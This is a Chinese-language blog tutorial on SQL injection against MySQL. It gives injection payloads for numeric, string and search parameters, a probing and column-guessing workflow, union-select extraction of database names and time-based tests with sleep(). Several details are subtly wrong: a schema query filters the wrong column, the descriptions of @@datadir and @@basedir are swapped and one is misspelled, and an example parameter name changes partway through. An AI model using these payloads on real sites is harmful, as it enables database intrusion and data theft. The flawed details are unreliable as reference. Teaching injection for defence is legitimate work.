sql注入基础讲解

前提是你 提交于 2020-01-23 03:30:00

一,sql注入的本质

SQL注入能使攻击者绕过认证机制,完全控制远程服务器上的数据库。 SQL是结构化查询语言的简称,它是访问数据库的事实标准。目前,大多数Web应用都使用SQL数据库来存放应用程序的数据。几乎所有的Web应用在后台 都使用某种SQL数据库。跟大多数语言一样,SQL语法允许数据库命令和用户数据混杂在一起的。如果开发人员不细心的话,用户数据就有可能被解释成命令, 这样的话,远程用户就不仅能向Web应用输入数据,而且还可以在数据库上执行任意命令了。  
注入攻击的本质是:把用户输入的数据当作代码执行。
注入的两个关键条件:
1,用户能控制输入。
2,原本程序要执行的代码,拼接了用户输入的数据。
sql注入就是在自带的系统数据库中查询库,表,字段,内容的过程
mysql内置自带库版本>=5
mysql库 保存账户信息,权限信息,存储过程,event,时区等信息
sys库包含了一系列存储过程,自定义函数以及视图来帮助我们快速了解系统的元数据信息
performance_schema库用于收集数据库服务器的性能参数
information_schema库存储了关于mysql服务器维护的所有其他数据库的信息,如数据库,表,表的数据类型与访问权限等。
查询数据库名称语句
select schema_name from information_schema.schemata
在这里插入图片描述
查表
select table_name from information_schema.tables where table_name=库名
在这里插入图片描述
查列
select column_name from information_schema.columns where table_name=表名
在这里插入图片描述
查数据
select 列名 from 库名.表名
在这里插入图片描述
二,sql注入类型概括
按照注入点类型来分类
(1)数字型注入点

在 Web 端大概是 http://xxx.com/news.php?id=1 这种形式,其注入点 id 类型为数字,所以叫数字型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where id=1。组合出来的sql注入语句为:select * from news where id=1 and 1=1

(2)字符型注入点

在 Web 端大概是 http://xxx.com/news.php?name=admin 这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where name=‘admin’。注意多了引号。组合出来的sql注入语句为:select * from news where chr=‘admin’ and 1=1 ’ ’

闭合单引号chr=‘admin’ union select 1,2,3,4 and ‘1’='1 ====> chr=‘admin’(闭合前面单引号) union select 1,2,3,4 and ‘1’=‘1’

(3)搜索型注入点

这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有“keyword=关键字”,有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大致为:select * from 表名 where 字段 like ‘%关键字%’。

组合出来的sql注入语句为:select * from news where search like ‘%测试 %’ and ‘%1%’=’%1%’

测试%’ union select 1,2,3,4 and ‘%’=’
三,sql注入基本流程
1,判断是否存在注入点
and 1=1 页面返回正常
and 1=2 页面返回不正常
URL后加单引号’ “ --+页面返回不正常
or sleep(5)页面5秒钟后正常显示
2,猜解字段数
利用order by 排序
order by 1 以第一个字段排序
select * from users order by 1;
在这里插入图片描述
第一个字段为id order by 1 就以第一个id字段来排序id从小到大排序
order by 2 以第二个字段排序
在这里插入图片描述
第二个字段为username字段内容为字符串
就以字符串开头的26字母排序
当我们输入order by 4时在这里插入图片描述
发现没有第四个字段那么数据表内就只有三个字段

3,联合查询寻找输出点
union select 1,2,3,4#
tips:union select 联合查询前面语句要为假
在这里插入图片描述
找到网站的输出点
在我们语句2的位置输入要查询数据的语句
union select 1,database(),3,4#
在这里插入图片描述
数据库名就显示出来了
4,mysql的函数及用法
在这里插入图片描述
在这里插入图片描述
sql注入测试中常用函数
group_concat()返回属于一组的列值连接组合而成的结果
在这里插入图片描述
ascii() 返回字符串的ASCII值
在这里插入图片描述
database() 返回当前数据库名
在这里插入图片描述
user() 或者 system_user()返回当前数据库登陆用户名
在这里插入图片描述
在这里插入图片描述
version()返回msyql数据库版本
在这里插入图片描述
sleep(n) 让数据库运行n秒后返回结果
在这里插入图片描述
在这里插入图片描述
@@dataidir 返回数据库安装绝对路径
在这里插入图片描述
@@basedir返回数据库数据存储绝对路径
在这里插入图片描述

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!